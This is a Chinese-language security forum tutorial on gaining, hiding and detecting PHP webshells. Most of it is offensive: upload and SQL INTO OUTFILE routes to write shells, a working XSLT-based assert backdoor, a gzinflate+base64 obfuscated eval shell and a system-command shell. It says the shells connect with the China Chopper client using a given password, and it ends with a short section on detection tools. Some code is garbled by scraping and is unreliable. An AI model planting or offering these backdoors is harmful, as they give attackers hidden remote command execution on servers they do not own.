渗透攻防-千变万化的WebShell

来源:http://bbs.ichunqiu.com/thread-8907-1-1.html?from=ch

作者:zusheng

社区:i春秋

时间:2016年7月29日15:04:21

前言

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。

目录

第一节 CMS获取WebShell

第二节 非CMS获取WebShell

第三节 基于xslt转换的WebShell

第四节 代码混淆隐藏WebShell

第五节 防御篇-查杀WebShell

正文

第一节 CMS获取WebShell

1.1、什么是CMS?

CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。

1.2、常见的CMS有哪些?

asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;

php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;

ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;

1.3、CMS获取WebShell方法

公开漏洞途径:以PHPCMS为例:

我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

渗透攻防-千变万化的WebShell_第1张图片

代码审计途径:

有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。

第二节 非CMS获取WebShell

2.1、上传漏洞获取WebShell

文件上传漏洞主要有以下几种情况:

MIME类型绕过漏洞

文件扩展名绕过漏洞

文件内容检测绕过类上传漏洞

空字节截断目录路径检测绕过类上传漏洞

解析导致的文件上传漏洞:

IIS6.0站上的目录路径检测解析绕过上传漏洞

Apache站上的解析缺陷绕过上传漏洞

htaccess文件上传解析漏洞

还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。

具体请看i春秋学院视频,还可以做实验,链接如下:

非法文件上传漏洞技术解析及防御

2.2、SQL注入获取WebShell

利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

MySQL:

[SQL]纯文本查看复制代码

?

1

selectintooutfile(dumpfile)  //MySQL写文件命令

例如:

[SQL]纯文本查看复制代码

?

1

select""intooutfile"F:\\www\\test.php";

渗透攻防-千变万化的WebShell_第2张图片

那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。

2.3、数据库备份获取WebShell

利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。

2015中国网络安全大赛:越权访问真题

配套实验地址:(进去后选择越权访问点击START就行了)

2015中国网络安全大赛

第三节基于xslt转换的WebShell

3.1、什么是xslt?

在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。

XSL - 不仅仅是样式表语言

XSL 包括三部分:

XSLT - 一种用于转换 XML 文档的语言。

XPath - 一种用于在 XML 文档中导航的语言。

XSL-FO - 一种用于格式化 XML 文档的语言。

那么看到这里相信大家已经了解到xslt是xsl的一部分。

3.2、在PHP下基于xslt转换来隐藏WebShell

怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl

渗透攻防-千变万化的WebShell_第3张图片

定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下

[AppleScript]纯文本查看复制代码

?

1

Enablestheabilitytouse PHP functionsasXSLT functions

我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料

我们先来看看官方事例:

[XSLT]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持

Users

select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。

那么搞懂了以上这些知识,那就很简单了。

为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:

[XSLT]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

$xml='assert($_POST[zusheng]);';

$xsl='

http://www.w3.org/1999/XSL/Transform"xmlns:icq="http://php.net/xsl">

';

$xmldoc = DOMDocument::loadXML($xml);

$xsldoc = DOMDocument::loadXML($xsl);

$proc = new XSLTProcessor();

$proc->registerPHPFunctions();

$proc->importStyleSheet($xsldoc);

$proc->transformToXML($xmldoc);

?>

可以直接用菜刀连接:(密码:zusheng)

渗透攻防-千变万化的WebShell_第4张图片
渗透攻防-千变万化的WebShell_第5张图片

参考资料:

PHP官方手册:http://php.net/manual/zh/

第四节 代码混淆隐藏WebShell

代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。

这里我们使用gzinflate+Base64加密,来隐藏WebShell。

[PHP]纯文本查看复制代码

?

1

2

3

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));

?>

可以直接用菜刀连接:(密码:zusheng)

第五节 防御篇-查杀WebShell

5.1、WebShell的分类

渗透攻防-千变万化的WebShell_第6张图片

5.2、安全工具

D盾:

渗透攻防-千变万化的WebShell_第7张图片

下载地址:免费下载

360主机卫士:

提供在线监测,把网站打包成zip上传就行了

http://zhuji.360.cn/backdoor

小实验

学完上述知识,大家是不是想动手来试试了呢,来个小实验。

我们先新建一个php文件

文件内容如下:

[PHP]纯文本查看复制代码

?

1

2

3

4

5

6

if(isset($_GET["cmd"]))

{

array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');

}

?>

渗透攻防-千变万化的WebShell_第8张图片

使用gzinflate+Base64加密,来隐藏WebShell。

使之能正常运行。

结束语

作为一名黑客,在你取得成功的问题上没有什么诀窍可寻,只有你越努力工作,你才能越接近成功。

你可能感兴趣的:(渗透攻防-千变万化的WebShell)